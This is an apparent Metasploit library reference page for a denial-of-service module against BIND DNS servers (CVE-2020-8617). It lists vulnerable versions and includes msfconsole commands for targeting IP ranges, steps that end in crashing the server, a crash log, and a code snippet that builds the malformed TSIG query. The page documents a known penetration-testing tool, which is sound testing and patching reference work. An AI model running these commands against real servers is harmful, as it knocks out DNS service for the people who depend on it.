BIND TSIG Badtime Query Denial of Service - Metasploit
This page contains detailed information about how to use the auxiliary/dos/dns/bind_tsig_badtime metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: BIND TSIG Badtime Query Denial of Service
Module: auxiliary/dos/dns/bind_tsig_badtime
Source code: modules/auxiliary/dos/dns/bind_tsig_badtime.rb
Disclosure date: 2020-05-19
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 53
List of CVEs: CVE-2020-8617
A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/dos/dns/bind_tsig_badtime
msf auxiliary(bind_tsig_badtime) > show options
... show and set options ...
msf auxiliary(bind_tsig_badtime) > set RHOSTS ip-range
msf auxiliary(bind_tsig_badtime) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(bind_tsig_badtime) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(bind_tsig_badtime) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(bind_tsig_badtime) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The following versions of BIND.
- 9.0.0 -> 9.11.18
- 9.12.0 -> 9.12.4-P2
- 9.14.0 -> 9.14.11
- 9.16.0 -> 9.16.2
- 9.17.0 -> 9.17.1 of the 9.17 experimental development branch.
- All releases in the obsolete 9.13 and 9.15 development branches.
- All releases of BIND Supported Preview Edition from 9.9.3-S1 -> 9.11.18-S1.
The attacker must know the name of the real TSIGKey on the target in order to exploit CVE-2020-8617. However, by default, BIND generates a TSIGKey that name of "local-ddns" at boot time. As such, the majority of target versions are vulnerable to this attack.
$ sudo cat /var/run/named/session.key
key "local-ddns" {
algorithm hmac-sha256;
secret "s/+GOoQRryn/VVndpmFHsgDOBLwndh1zEjVJLK5jo04=";
};
Verification Steps
- Start the vulnerable server
- Start
msfconsole - Do:
use auxiliary/dos/dns/bind_tsig_badtime - Do:
run - The server should crash
Scenarios
Server output from crash
26-May-2020 02:45:59.565 general: critical: tsig.c:954: INSIST(msg->verified_sig) failed, back trace
26-May-2020 02:45:59.565 general: critical: #0 0x563435d6aa40 in __do_global_dtors_aux_fini_array_entry()+0x5634357f6888
26-May-2020 02:45:59.565 general: critical: #1 0x563435f49c0a in __do_global_dtors_aux_fini_array_entry()+0x5634359d5a52
26-May-2020 02:45:59.565 general: critical: #2 0x563435ecfcb9 in __do_global_dtors_aux_fini_array_entry()+0x56343595bb01
26-May-2020 02:45:59.565 general: critical: #3 0x563435e14b19 in __do_global_dtors_aux_fini_array_entry()+0x5634358a0961
26-May-2020 02:45:59.565 general: critical: #4 0x563435d5b57f in __do_global_dtors_aux_fini_array_entry()+0x5634357e73c7
26-May-2020 02:45:59.565 general: critical: #5 0x563435d5cffd in __do_global_dtors_aux_fini_array_entry()+0x5634357e8e45
26-May-2020 02:45:59.565 general: critical: #6 0x563435d5d6a8 in __do_global_dtors_aux_fini_array_entry()+0x5634357e94f0
26-May-2020 02:45:59.565 general: critical: #7 0x563435d5f1a7 in __do_global_dtors_aux_fini_array_entry()+0x5634357eafef
26-May-2020 02:45:59.565 general: critical: #8 0x563435f716d9 in __do_global_dtors_aux_fini_array_entry()+0x5634359fd521
26-May-2020 02:45:59.565 general: critical: #9 0x7f6513f576db in __do_global_dtors_aux_fini_array_entry()+0x7f65139e3523
26-May-2020 02:45:59.565 general: critical: #10 0x7f6513c8088f in __do_global_dtors_aux_fini_array_entry()+0x7f651370c6d7
26-May-2020 02:45:59.565 general: critical: exiting (due to assertion failure)
Go back to menu.
Msfconsole Usage
Here is how the dos/dns/bind_tsig_badtime auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/dns/bind_tsig_badtime
msf6 auxiliary(dos/dns/bind_tsig_badtime) > show info
Name: BIND TSIG Badtime Query Denial of Service
Module: auxiliary/dos/dns/bind_tsig_badtime
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-05-19
Provided by:
Tobias Klein
Shuto Imai
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
INTERFACE no The name of the interface
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 53 yes The target port (UDP)
SRC_ADDR no Source address to spoof
THREADS 10 yes The number of concurrent threads
Description:
A logic error in code which checks TSIG validity can be used to
trigger an assertion failure in tsig.c.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-8617
https://gitlab.isc.org/isc-projects/bind9/-/issues/1703
https://www.trapkit.de/advisories/TKADV2020-002.txt
Module Options
This is a complete list of options available in the dos/dns/bind_tsig_badtime auxiliary module:
msf6 auxiliary(dos/dns/bind_tsig_badtime) > show options
Module options (auxiliary/dos/dns/bind_tsig_badtime):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
INTERFACE no The name of the interface
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 53 yes The target port (UDP)
SRC_ADDR no Source address to spoof
THREADS 10 yes The number of concurrent threads
Advanced Options
Here is a complete list of advanced options supported by the dos/dns/bind_tsig_badtime auxiliary module:
msf6 auxiliary(dos/dns/bind_tsig_badtime) > show advanced
Module advanced options (auxiliary/dos/dns/bind_tsig_badtime):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
GATEWAY_PROBE_HOST 8.8.8.8 yes Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
GATEWAY_PROBE_PORT no The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
SECRET 1297303073 yes A 32-bit cookie for probe requests.
ScannerMaxResends 10 yes The maximum times to resend a packet when out of buffers
ScannerRecvInterval 30 yes The maximum numbers of sends before entering the processing loop
ScannerRecvQueueLimit 100 yes The maximum queue size before breaking out of the processing loop
ScannerRecvWindow 0 yes The number of seconds to wait post-scan to catch leftover replies
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/dns/bind_tsig_badtime module can do:
msf6 auxiliary(dos/dns/bind_tsig_badtime) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/dns/bind_tsig_badtime auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/dns/bind_tsig_badtime) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
x00x10
Here is a relevant code snippet related to the "x00x10" error message:
79: # Rest of TSIG
80: query << "\x00\x00\x00\x00\x00\x00" # Time Signed: Jan 1, 1970 00:00:00.000000000 UTC
81: query << "\x00\x00" # Fudge: 0
82: query << "\x00\x00" # MAC Size: 0
83: query << "\x00\x00" # Original Id: 0
84: query << "\x00\x10" # Error: BadSig (16)
85: query << "\x00\x00" # Other len: 0
86: end
87:
88: def get_domain
89: domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13526 Merged Pull Request: Correct the author and add a reference to CVE-2020-8617
References
- CVE-2020-8617
- https://gitlab.isc.org/isc-projects/bind9/-/issues/1703
- https://www.trapkit.de/advisories/TKADV2020-002.txt
See Also
Check also the following modules related to this module:
- auxiliary/dos/dns/bind_tkey
- auxiliary/dos/dns/bind_tsig
- auxiliary/admin/dns/dyn_dns_update
- auxiliary/fuzzers/dns/dns_fuzzer
- auxiliary/scanner/dns/dns_amp
- auxiliary/server/dns/native_server
- auxiliary/server/dns/spoofhelper
- auxiliary/spoof/dns/bailiwicked_domain
- auxiliary/spoof/dns/bailiwicked_host
- auxiliary/spoof/dns/compare_results
- auxiliary/spoof/dns/native_spoofer
- auxiliary/vsploit/malware/dns/dns_mariposa
- auxiliary/vsploit/malware/dns/dns_query
- auxiliary/vsploit/malware/dns/dns_zeus
- auxiliary/dos/mdns/avahi_portzero
- auxiliary/scanner/mdns/query
- auxiliary/spoof/mdns/mdns_response
- exploit/osx/mdns/upnp_location
- exploit/windows/misc/enterasys_netsight_syslog_bof
Authors
- Tobias Klein
- Shuto Imai
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
